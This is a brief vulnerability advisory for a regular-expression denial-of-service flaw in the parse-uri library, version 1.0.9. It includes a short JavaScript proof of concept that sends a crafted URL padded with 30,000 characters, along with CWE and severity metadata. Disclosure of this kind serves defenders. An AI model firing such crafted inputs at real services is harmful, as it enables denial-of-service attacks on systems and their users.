An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL. ## PoC
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();
{
"cwe_ids": [
"CWE-1333",
"CWE-185"
],
"github_reviewed_at": "2025-01-17T15:39:05Z",
"github_reviewed": true,
"severity": "MODERATE",
"nvd_published_at": "2025-01-15T22:15:26Z"
}